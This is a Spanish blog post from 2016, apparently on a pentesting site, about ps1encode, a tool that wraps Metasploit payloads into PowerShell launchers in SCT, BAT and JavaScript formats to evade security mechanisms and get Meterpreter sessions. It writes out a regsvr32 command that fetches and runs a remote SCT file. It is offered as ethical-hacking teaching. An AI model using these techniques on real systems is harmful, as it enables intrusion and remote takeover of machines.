miércoles, septiembre 21, 2016

PS1Encode: Generar payloads en Powershell utilizando diferentes vías #Powershell #Pentesting

Hace unos días hablábamos de la posibilidad de utilizar un vector “diferente” para lograr evadir listas blancas y mecanismos de seguridad y conseguir ejecutar código en el equipo. Los archivos SCT nos proporcionaban esa vía, gracias a subTee. La herramienta ps1encode, escrita en el lenguaje Ruby, permite obtener una serie de payloads migrados desde Metasploit y preparados en el lenguaje que necesitemos. El objetivo final de dichos lenguajes es conseguir ejecutar una Powershell y lanzar el payload a través de ella.

Figura 1: PS1Encode. Generar payloads en Powershell usando distinto vías

Ya hemos hablado en otras ocasiones que Powershell nos da la posibilidad de evadir mecanismos de seguridad, por lo que probar ps1encode es, casi, una obligación. En el artículo vamos a ir viendo las diferentes posibilidades que presenta ps1encode, que como se verán no son pocas. La herramienta tiene un uso sencillo y puede ser descargada desde Github.

Figura 2: Ps1enconde en GitHub

Como se puede ver en la imagen, ps1encode dispone de diferentes opciones para generar código en diferentes formatos y lenguajes, como puede ser bat, vba, vbs, exe, javascript, php o sct. Es interesante recordar las posibilidades que nos ofrecía SCT, como vimos en el artículo de hace unos días. La aplicación ps1encode dispone de los siguientes parámetros:
• LHOST. Indica la dirección IP dónde devolver el control.
• LPORT. Indica el puerto local dónde se conectará el payload, en el caso de los reverse.
• PAYLOAD. Indica el tipo de payload a utilizar de Metasploit.
• ENCODE. Formato de salida, en el cual se debe incluir el payload seleccionado.
• La opción 32bitexe fuerza a crear un ejecutable de 32 bit con el payload. Lógicamente con el parámetro ENCODE se puede seleccionar diferentes formatos.
Figura 3: Opciones de ps1enconde

En muchas ocasiones, los payload generados con este tipo de herramientas permite evadir mecanismos de seguridad y generar menos ruido que otras muchas herramientas. Es importante analizar y ver el resultado final que nos proporciona ps1encode.

PoC: SCT con WebServer

Si nos fijamos en la documentación proporcionada por el creador de ps1encode, podemos ver que se puede obtener dos formatos que requieren de un servidor web externo. Son el caso de lnk y sct. Cuando generamos el fichero SCT obtenemos una salida similar a la que se puede ver en la imagen. Nos solicitan un servidor web para realizar la etapa de staging.

Figura 4: Configuración del fichero SCT

Es importante ver que el módulo exploit/multi/handler de Metasploit será el encargado de darnos ese staging de conexión, es decir, dónde va todo el código de Meterpreter en este caso. Como vemos nos solicitan una dirección URL, ésta deberá ser dónde se encuentre el módulo multi/handler de Metasploit a la escucha para entregar el staging. El fichero resultante es index.sct, el cual tiene un código sencillo. Simplemente tendremos que ejecutar en un sistema operativo Microsoft Windows la instrucción:

Figura 5: Ejecución del comando "regsvr32 /s /n /u /i:[dirección URL del fichero SCT generado] scrobj.dll"

Como podemos ver, el código a ejecutar en el cuerpo del SCT es un Javascript, el cual ejecuta una Powershell, la cual invocará un script codificado en BASE64 y negociará con el código del multi/handler devolviendo, finalmente, el control de la máquina Windows.

Figura 6: Invocación remota del fichero sct

Al ejecutar esto, si echamos un ojo al módulo multi/handler encontramos que tenemos la sesión disponible. En ese instante tenemos el control remoto de la máquina. Este tipo de ataques pueden ser muy útiles de juntar, por ejemplo, con Rubber Ducky o con Teensy.

Figura 7: Ejecución del exploit vía Metasploit

PoC: JS y Bat, otras posibilidades

Como hemos visto, ps1encoder permite ejecutar una sesión Powershell y el payload codificado en BASE64 desde diferentes tecnologías y plataformas. Ahora vamos a ver una pequeña prueba de concepto en Javascript y en BAT. Para el caso de un .bat, el resultado es muy sencillo, simplemente hay que invocar una Powershell y ejecutar el código en BASE64, por lo que apenas tiene construcción dentro de código propio de un .bat, tal y como se puede ver en la imagen. Para generar el código, solo tenemos que cambiar el tipo de formato de SCT a CMD.

Figura 8: Generación de fichero en formato CMD

Por último, tenemos la opción Javascript. Podemos generar un fichero Javascript, por ejemplo, con el nombre por defecto de index.js, y cuando éste sea ejecutado poder obtener una sesión de un Meterpreter.

Figura 9: Código JavaScript

La ejecución en este caso podría ser directa a través de la ejecución del fichero Javascript, lo cual proporciona un vector interesante para un atacante. Como hemos podido ver, la herramienta proporciona diferentes vías y técnicas para:
• Evadir mecanismos de protección mediante el uso de Powershell y payload codificados en base64 que se ejecutan directamente en memoria.
• Generar menos ruido que con el uso de otras herramientas en el entorno de auditoría.
• Utilizar técnicas menos conocidas que permiten pasar desapercibido en ciertos escenarios.
Las posibilidades de ps1encode son muy interesantes y es una de las herramientas que debemos llevar en la mochila en un ethical hacking. ¿La has probado?

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

2 comentarios:

  1. Buenos días, Chema.
    Muy buenos días:

    Cada fin de semana publico entrevistas de este estilo para El Confidencial Digital: https://asanleo.com/2015/11/22/en-pause-entrevistas-a-fuego-lento-2/

    Como verán, se trata de conversaciones largas, tranquilas, con cierta pretensión de fondo.

    Me gustaría proponerte una entrevista así.

    Muchísimas gracias por la atención. Buena semana y un cordial saludo

    Álvaro Sánchez León

    ResponderEliminar
  2. Interesante se podría aser esto con un payload para Android tocaría intentarlo

    ResponderEliminar